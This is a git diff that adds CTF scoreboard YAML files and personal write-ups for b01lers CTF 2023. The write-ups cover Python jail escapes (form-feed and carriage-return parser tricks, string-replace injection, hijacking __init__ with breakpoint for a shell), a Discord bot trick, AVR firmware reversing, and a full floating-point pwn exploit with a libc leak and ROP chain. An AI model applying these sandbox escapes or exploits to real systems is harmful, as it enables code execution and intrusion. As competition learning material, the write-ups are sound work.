Page MenuHomedesp's stash

No OneTemporary

diff --git a/ctfs/b01lers23.yml b/ctfs/b01lers23.yml
new file mode 100644
index 0000000..dafa6e2
--- /dev/null
+++ b/ctfs/b01lers23.yml
@@ -0,0 +1,46 @@
+#refer to hkcert21.yml for definitions
+name: "b01lers CTF 2023"
+url: https://ctftime.org/event/1875
+
+date: 2023-03-17
+duration: 48
+
+type: "Jeopardy"
+
+organizer: false
+rank: 1
+full-clear: true
+
+team: "Maple Bacon"
+
+challenges:
+ - name: "Blacklisted"
+ category: jail
+ points: 398
+ solve-count: 13
+ solve-status: solved
+ writeup-url: null
+ - name: "ez-class"
+ category: jail
+ points: 375
+ solve-count: 17
+ solve-status: solved
+ writeup-url: null
+ - name: "cheating scandal"
+ category: osint
+ points: 370
+ solve-count: 18
+ solve-status: co-solved
+ writeup-url: null
+ - name: "safe"
+ category: rev
+ points: 410
+ solve-count: 11
+ solve-status: solved
+ writeup-url: null
+ - name: "Transcendental"
+ category: pwn
+ points: 398
+ solve-count: 13
+ solve-status: sniped
+ writeup-url: null
\ No newline at end of file
diff --git a/ctfs/comments/b01lers23.md b/ctfs/comments/b01lers23.md
new file mode 100644
index 0000000..22e295c
--- /dev/null
+++ b/ctfs/comments/b01lers23.md
@@ -0,0 +1,569 @@
+### blacklisted
+
+lol i genuinely didnt know that the python interpreter was this flexible in parsing src
+
+we cant use basically every symbol in ASCII including brackets, dots and equals
+
+which means we basically cannot do anything that can really get us arbitrary code execution like calls and assignments or even just fetching attributes
+
+surprisingly `@` and `:` aint in the list of banned symbols though, which made my mind instantly jump to [hack.lu's culinary classroom](https://despawningbone.me/ctf.html#hacklu22-culinary-class-room)
+
+but the issue with this is the solution i used in that requires attribute access which wasnt allowed so our scope was restricted by a ton due to the one arg call by decorators, and theres also a list of banned words aside from banned symbols
+
+so i was playing around with inlined lambdas in decorators to see if we can emulate getattr of some sort, which gave me some pretty interesting primitives like
+
+```py
+class test1:
+ @classmethod
+ @property
+ @lambda test: func
+ class test: pass
+
+test1.test
+```
+
+which effectively runs `func(test1)`, but we can already do that by
+```py
+@func
+class test1: pass
+```
+
+storing computed variables can also be done like
+```py
+@chr
+@lambda test: 60
+class teststr: pass
+
+@chr
+@lambda test: 61
+class teststr2: pass
+
+@lambda test: teststr+teststr2
+class concatstr: pass
+
+print(concatstr)
+```
+but its pretty useless either since even though we can overwrite the blacklist with this the code reader is not run in a loop so theres only one chance of smuggling code
+
+```py
+@input
+class callinput: pass #arbitrary string
+
+@lambda d: callinput % d #get item in dict formatted as string
+@vars
+class concatstr: pass
+```
+with `#!py %(__dict__)s` in input gives us one layer of attribute access in string representation of `#!py vars(concatstr)`, but is again useless since theres nothing in that class that has anything interesting
+
+
+but as commented none of them are really useful at all
+
+it is also at this time that i realized they have spaces banned in the symbol list so i couldnt even do class declarations LOL
+
+so i took a break from it
+
+while on a bus back home from the maple bacon meeting i thought to myself what if i can trick the python parser to think a byte is this char but in reality when it is executed its another char (like using EBCDIC which is an entirely different mapping than ASCII which means even if the ASCII version of the symbol is banned i should still be able to use it if the parser treats the byte as EBCDIC)
+
+and i stumbled upon [encoding declarations](https://peps.python.org/pep-0263/), but [it doesnt support EBCDIC](https://bugs.python.org/issue1298) even if the declaration worked in execs - turns out exec itself encodes the string given to it through system encoding by default which is UTF-8 on remote anyway
+
+so thats a dead end
+
+but at this point im certain python has something funny with their parsers considering they allowed things like encoding declarations so i digged a bit more
+
+the parser src for cpython was way too big, so i was just digging around for any documentations thats kinda related
+
+until i stumbled upon this definition for `#!py bytes.isspace()`:
+
+> Return `True` if all bytes in the sequence are ASCII whitespace and the sequence is not empty, `False` otherwise. ASCII whitespace characters are those byte values in the sequence `#!py b' \t\n\r\x0b\f'` (space, tab, newline, carriage return, vertical tab, form feed).
+
+`\f` and `\x0b`?? the others make a lot of sense but huh if python builtin types treats them as spaces then surely the parser also treats them as spaces yea
+
+turns out even though `\x0b` doesnt work `\f` works flawlessly as a space for some reason LOL
+
+so we can finally use the primitives i found on remote - except any primitives that include lambda decorators seem to be dying
+
+turns out its something thats recently introduced in python 3.9: [PEP-614 - relaxing grammar restrictions on decorators](https://peps.python.org/pep-0614/)
+
+and remote is likely running < 3.9
+
+so that idea is even deeper in the grave now
+
+at this point i was just giving up on arbitrary code execution, and started to analyse the jail script itself more
+
+turns out the way `open` and `print` are coded differently in that they dont use a validate and reject approach but rather a string replace approach ended up being much more vulnerable since we can just inject words like `prinprintt` to make the end result show `print` anyway
+
+anyway now its just a pretty classic decorator chain with those out of the way: we just need to open the file with input, read lines with it, and print
+
+reading lines with it was kinda interesting though - we cant call readlines() or read(), but turns out TextIOWrapper is an iterable itself on the lines in the file
+
+which i somehow never realized considering `#!py for line in open('file.txt')` works so it shouldve been something ive tried
+
+and it seems like im pretty much on track for the intended solution considering they banned basically every iterable function lmao
+
+so its just checking every single iterable function in the builtins list until i hit `sorted` which wasnt banned
+
+and we can get the flag with this:
+
+```py
+from pwn import *
+
+p = remote('blacklisted.bctf23-codelab.kctf.cloud', 1337)
+
+p.sendline(b'@prinprintt')
+p.sendline(b'@sorted')
+p.sendline(b'@oprintpprinteprintnprint')
+p.sendline(b'@input')
+p.sendline(b'class\fvalidate:pass')
+p.sendline(b'')
+
+p.interactive()
+```
+
+was using pwntools instead of manual coz i was testing EBCDIC locally lmao
+
+`bctf{w41t_h0w_d1d_y0u_d3c0r4t3_th4t?}`
+
+kinda sad that i spent quite a long time on a completely wrong direction but hey now i know basically every src based blacklist is pretty bypassable lmao
+
+turns out you can even do something like this with unicode full width chars (from r3kapig's [crazyman](https://crazymanarmy.github.io/)):
+```py
+payload = [
+ '@exec'.encode(),
+ b'@input',
+ b'class\x0cX:pass',
+ b'', # an empty line to exec
+]
+```
+
+i wonder just how many more parser related tricks there are
+
+would be a pretty good addition to my pyjail arsenal lmao
+
+
+### ez-class
+
+chall was pretty big for a pyjail, but the gist was that it would make any class you want but in a fill-in-the-blanks way
+
+and you can make multiple classes, and instantiate the classes you made any time (only instantiating will be done, so no running methods and all that)
+
+but the thing is by fill-in-the-blanks, i really mean fill-in-the-blanks - its literally just a string concatenation which means its subject to injection of all sorts
+
+and the only guard against that is a pretty simple ban on these chars `().\n`
+
+i originally messed around with chaining constructors, but we cant access attributes or assign stuff anyway
+
+so logically the next step was gonna be metaclasses since we can declare arbitrary parents including metaclass declarations
+
+BUT
+
+with the stuff learnt in [blacklisted](https://despawningbone.me/ctf.html#b01lers23-blacklisted), my mind suddenly went to bypassing the blacklist using parser accepted equivalent chars - with which `\r` was a prime candidate
+
+since it expects a single line for method body, i can just use `\r` to escape from the method body declaration, and do something like `#!py __init__ = breakpoint` so the class instantiation will be hijacked to run breakpoint instead
+
+and yep lmao with this we get a shell easily
+
+```py
+from pwn import *
+
+#p = process('python3 ez_class.py', shell=True)
+p = remote('ezclass.bctf23-codelab.kctf.cloud', 1337)
+
+p.sendlineafter(b'Run class', b'1')
+p.sendlineafter(b'name', b'test')
+p.sendlineafter(b'inherit', b'')
+p.sendlineafter(b'many methods', b'1')
+p.sendlineafter(b'method name', b'test')
+p.sendlineafter(b'method params', b'self')
+p.sendlineafter(b'method body', b'pass\r\t__init__ = breakpoint')
+
+p.sendlineafter(b'Run class', b'2')
+p.sendlineafter(b'name', b'test')
+p.sendlineafter(b'dependancies', b'')
+
+p.interactive()
+```
+pretty sure its not intended either lmao considering what the flag says
+
+i was probably on track for the intended solution originally
+
+but flag is flag :) `bctf{m3ta_c4l1abl3_b5e478f33eb890a2ee65}`
+
+
+### cheating scandal
+
+i didnt actually do much in this chall aside from identifying the docker image, but i got pinged when my other teammates found a discord server lmao
+
+[@Angus](https://maplebacon.org/authors/alueft/) was thinking of getting the code for the bot in the server somehow since its an osint chall after all, but i was like wait the bot only has one command and it requires a specific role
+
+doesnt this sound very similar to [ductf's slash flag](https://despawningbone.me/ctf.html#ductf22-slash-flag)
+
+so i tried to invite it to a server i own with the good ol universal invite link by replacing the bot id, add `Admin` as a role for myself, and then `/contact`'d
+
+and lmfao flag `bctf{[email protected]_123_456_7890}`
+
+quite funny how this is literally the same as the first part of slash flag
+
+
+### safe
+
+another arduino chall
+
+i wanted to actually understand firmware rev for once so i finally tried focusing on it instead of noping out the moment i see one lmaoo
+
+we are given 2 schematic/pinout diagrams, and an intel hex file
+
+so the first thing is to get the binary analysable first
+
+with a good ol `srec_cat.exe safe.hex -Intel -o safe.bin -Binary` from `srecord` and then using a [config file for IDA for ATmega368](https://gist.github.com/extremecoders-re/8d3e9b846a6ec883e5ae3b2bccf5cc88#file-avr-cfg-L8) we can grab a good disasm of the firmware
+
+in the meantime i was also searching for an arduino simulator somewhere since i dont have a uno with me or the keypad, but then i realized
+
+https://wokwi.com/projects/294980637632233994
+
+this site literally has the same images as one of the schematics we were given
+
+the pinouts of the keypad even matches exactly that on the project
+
+the best part is this site allows firmware simulation by `F1->upload firmware and start simulation` on the code editor too
+
+so i ran that and it seems basically the same as a chall ive looked at but nope'd out before - you enter a code in the keypad and it either fails you or unlocks, this time after 20 chars are entered as per the simulation
+
+so its time to figure out the logic of the win/fail code by checking out the calls to `digitalWrite` with pins 10/11 which were the win/fail pins which signifies they are triggered
+
+but the issue is since its an intel hex file the debug symbols are ofc stripped
+
+so i returned to my roots and started byte diffing like i did when i first started arcade modding LOL
+
+it worked pretty much flawlessly it turns out
+
+by compiling my own version of the project on that site with all the debug symbols, i got an exact match for `digitalWrite`/`digitalRead`/`pinMode`
+
+so now its time to figure out the calling convention for AVR
+
+after a bit of digging i identified the win/fail code which seems to live in the main loop, along with what seems like basically all of the keypad scanning code inlined in the same func
+
+at this point i thought they turned on some aggressive optimizations, but it turns out the author just coded the scanning code themselves after talking with them after the ctf lmao
+
+i eventually found what looks like the keypad codes that can be successfully decoded with the method in the Keypad.h library though
+
+but it involves `*` and `#` which wasnt in the flag regex so something has to be wrong
+
+and it also has 28 chars instead of 20 chars
+
+so i got pretty stuck since IDA doesnt have a decompiler for AVR and i dont trust my own register data tracking methods, especially when AVR splits the address registers used for dereferencing into 2 separate registers lmao
+
+so after a nap i went back and started analysing it again in ghidra instead
+
+and it seems like my analysis was basically correct in that that is definitely the flag array
+
+so i started experimenting with column-major instead of row-major encoding like that in Keypad.h too but it still had 28 chars
+
+but then [@Kevin](https://maplebacon.org/authors/Kevin/) was like why not just truncate it to 20 chars since your column-major code fits the flag regex
+
+so he submitted that and actually got the flag LOL i just doubted myself way too much `bctf{B5D2A160B062538BC55D}`
+
+```py
+mapping = [
+ [ '1', '2', '3', 'A' ],
+ [ '4', '5', '6', 'B' ],
+ [ '7', '8', '9', 'C' ],
+ [ '*', '0', '#', 'D' ],
+]
+
+
+flag = ''
+
+for v in bytes.fromhex('0D05 0F04 0C00 0907 0D07 0904 0508 060D 0E05 050F 0908 0706 0504 0302'):
+ flag += mapping[v%4][v//4]
+
+print(len(flag), flag, flag[:20])
+```
+
+eventually i realized the 8 chars at the end are part of the pinout for the keypad after looking at the src the author sent lmao
+
+makes a ton of sense tbh
+
+i still dont like how AVR handles addresses tho
+
+ghidra fails to identify a ton of references coz of that too
+
+also turns out the bugs ive been encountering with compiling arduino stuff on vscode was due to an ancient ver of `arduino-cli`
+
+wouldve saved me so much headache if i knew that back when i made badcontroller for maplectf lmao
+
+
+
+### Transcendental
+
+ahhhh i hate math i hate math
+
+lmfao if not for [@Sam]()'s arbitrary write primitive that involved way too much floating point math i wouldnt have got a working exploit anyway lmao so the snipe was genuinely how it should be
+
+i did solve it at the end with a libc leak and ret2libc one_gadget instead of his method that relies on disabled PIE tho
+
+well solve if you dont count the fact that i was using [@Sam]()'s old primitive so it took like 860 calls for each address write LMAO so it never worked on remote and i never bothered to make it work since he's already solved it
+
+was fun figuring out *some* floating point math tho
+
+and how the mantissa is just addition subtraction when exponent is not in question
+
+* * *
+
+anyway chall is basically a stack based floating point calculator, but they only allow you to load pi or e onto the stack
+
+theres a bug in show (9) which allows negative array reads, and a bug in how the push/pop operations is done where you can basically pull the stack towards you if its not "gapped" with a NULL
+
+```py
+from pwn import *
+import struct
+
+
+context.binary = ELF('./temp/transcendental_patched')
+
+p = context.binary.process(env={'LD_PRELOAD': './temp/libc-2.31.so'})
+#p = remote('transcendental.bctf23-codelab.kctf.cloud', 1337)
+
+#
+# sam's arbitrary write primitive (seems like its bugged when writing 0s, but we cant write 0s anyway)
+#
+
+def cmd(c): p.sendlineafter(b'choice: ', c.encode())
+
+def load_pi(): cmd('7')
+def load_e(): cmd('8')
+def push(): cmd('1')
+def pop(): cmd('2')
+def add(): cmd('4')
+def sub(): cmd('5')
+def mul(): cmd('6')
+def swap(): cmd('3')
+
+def dup():
+ push()
+ add()
+
+def read(off):
+ cmd('9')
+ p.sendline(chr(off + ord('0')).encode())
+ p.readuntil(b'value is ')
+ s = p.readline().decode()
+ return float(s)
+
+# exponentiate acc by n (positive)
+def exp(n):
+ dup()
+ for _ in range(n-1):
+ mul()
+ swap()
+ pop()
+
+# load 2**-52 * 2**-1022
+def load_min_subnorm(sign=False):
+ load_e()
+ push()
+ load_pi()
+ sub()
+ exp(866)
+ if sign:
+ push()
+ sub()
+
+def load_arbitrary(target):
+ sign = target >> 63
+ exp = (target >> 52) & 0x7ff
+ mantissa = target & 0xfffffffffffff
+
+ load_min_subnorm(sign)
+ dup()
+ mantissa |= (exp != 0) << 53
+ end = 52 - bin(mantissa)[2:].rjust(53,'0').find('1')
+ for i in range(end-1, -1, -1):
+ dup() # acc acc min
+ add() # acc2 acc min
+ swap() # acc acc2 min
+ pop() # acc2 min
+ if (mantissa >> i) & 1:
+ add()
+
+ for _ in range(exp-1):
+ dup()
+ add()
+ swap()
+ pop()
+
+#
+# end primitive
+#
+
+def arb_write_restore_stack(val):
+ load_arbitrary(int.from_bytes(val, 'big'))
+
+ #remove junk from load arb
+ for i in range(2):
+ swap()
+ pop()
+
+
+for i in range(11):
+ load_e() #dud
+ push()
+
+load_e() #dud
+for i in range(12):
+ pop()
+
+#currently at canary, but we need libc start main - keep canary by putting it to the top of stack every pop
+for i in range(2):
+ swap()
+ pop()
+swap()
+push()
+
+#start leak libc
+
+libc = struct.pack('>d', read(1))[:4] #top 4 bytes in mantissa should be stable when no exponent is involved
+
+#without mantissa its just an addition operation - we send the same bytes to subtract and we will get them emptied out as expected
+arb_write_restore_stack(libc + bytes(4))
+swap()
+sub()
+
+swap()
+
+libc += struct.pack('>d', read(1))[4:6]
+
+print(libc.hex())
+
+arb_write_restore_stack(libc[4:6] + bytes(2))
+swap()
+sub()
+
+swap()
+
+libc += struct.pack('>d', read(1))[6:]
+
+libc = int.from_bytes(libc, byteorder='big') - (0x23FC0 + 0xF3)
+print(hex(libc))
+
+#done libc, remove
+pop()
+
+#start rop
+
+one_gadget = (libc + 0xe3b34).to_bytes(8, 'big')
+arb_write_restore_stack(one_gadget)
+swap()
+push()
+
+#for reg gadget, we cant push null addr so find a place in libc that points to null
+null_addr = (libc + 0x8).to_bytes(8, 'big')
+arb_write_restore_stack(null_addr)
+swap()
+push()
+
+null_addr = (libc + 0x8).to_bytes(8, 'big')
+arb_write_restore_stack(null_addr)
+swap()
+push()
+
+#ROP(ELF('./temp/libc-2.31.so')).gadgets
+rdx_r12_gadget = (libc + 0x119241).to_bytes(8, 'big')
+arb_write_restore_stack(rdx_r12_gadget)
+swap()
+push()
+
+
+null_addr = (libc + 0x8).to_bytes(8, 'big')
+arb_write_restore_stack(null_addr)
+swap()
+push()
+
+
+print(ROP(ELF('./temp/libc-2.31.so')).rsi)
+rsi_gadget = (libc + 0x2604f).to_bytes(8, 'big')
+arb_write_restore_stack(rsi_gadget)
+swap()
+push()
+
+for i in range(3): #junk vars in stack
+ load_e()
+ swap()
+ push()
+
+for i in range(10): #restore stack
+ load_e() #dud
+ push()
+
+
+p.interactive()
+```
+
+i also made a failed attempt in a general float recovery algo for the canary, tho it doesnt really work with anything at this point coz i never finished it or fixed the bugs lmao
+
+it does have a way to recover exponents and splitting the mantissa into parts though which might be useful for future challs
+
+```py
+
+#startbit is counted from the left of mantissa
+#bits is total size of the part we wanna calculate
+def partialmantissa(data, bits, startbit, exponent):
+ val = 0
+ for i in range(bits):
+ if data & 1 == 1:
+ print(f'2**{exponent - (startbit + bits - i)} + ', end='')
+ val += 2**(exponent - (startbit + bits - i))
+ data >>= 1
+ print()
+ return val
+
+def recoverfloat():
+ raw = read(1)
+ val = struct.pack('>d', raw) #float(p.recvuntil(b'quit').split(b'value is ')[1].split('\n')[0]))
+
+ print(raw, val.hex())
+
+ #obtain exponent to remove certain parts of mantissa through subtraction
+ exponent = (int.from_bytes(val[:2], byteorder='big') >> 4 & 0x7FF) #exponent is in big endian
+ exponent = exponent - 1023 if exponent else -1022
+
+ print('exp:', exponent)
+
+ #we know the sign and exponent is always kept, and the top 4 bits are also kept since they are the most significant; the next byte is likely also kept due to the amount printed
+ subval = (2**exponent if exponent != -1022 else 0) + partialmantissa(val[1] & 0b1111, 4, 0, exponent) + partialmantissa(val[2], 8, 4, exponent) #base subval (most significant 12 bits) which we already obtained
+
+ #its probably likely that we can just issue 1 truncate and obtain all the bytes needed already since %g actually shows a fair amount of info
+ print(subval, struct.pack('>d', subval).hex())
+ load_arbitrary(int.from_bytes(struct.pack('>d', subval), 'big'))
+
+ #reset stack to push the arb val we loaded onto the top stack
+ # swap()
+ # pop()
+ # swap()
+
+ #p.interactive()
+
+ # for i in range(10):
+ # dup() #pad so we can pull (think of magnetic cables - the stack check checks for gaps (aka nulls) otherwise it pulls the entire chunk so once we attach by filling out the gap we can pull other things)
+
+ # for i in range(11):
+ # pop() #pull stack frame to us so we can operate on
+
+ #canary - partial mantissa to leak the rest
+ # swap()
+ # sub()
+
+ #remove junk from load arb
+ for i in range(2):
+ swap()
+ pop()
+
+ #swap()
+ #pop()
+ #sub()
+
+ newraw = read(0)
+ newval = struct.pack('>d', newraw)
+
+ print(newraw, newval.hex())
+```
+
diff --git a/ctfs/kalmar23.yml b/ctfs/kalmar23.yml
new file mode 100644
index 0000000..052be74
--- /dev/null
+++ b/ctfs/kalmar23.yml
@@ -0,0 +1,22 @@
+#refer to hkcert21.yml for definitions
+name: "KalmarCTF 2023"
+url: https://ctftime.org/event/1878
+
+date: 2023-03-03
+duration: 48
+
+type: "Jeopardy"
+
+organizer: false
+rank: 16
+full-clear: false
+
+team: "Maple Bacon"
+
+challenges:
+ - name: "Formula K"
+ category: rev
+ points: 810
+ solve-count: 21
+ solve-status: solved
+ writeup-url: null
\ No newline at end of file

File Metadata

Mime Type
text/x-diff
Expires
Sun, Sep 22, 5:20 AM (1 d, 16 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
c3/13/a0db65562132b01ada2b82caae97

Event Timeline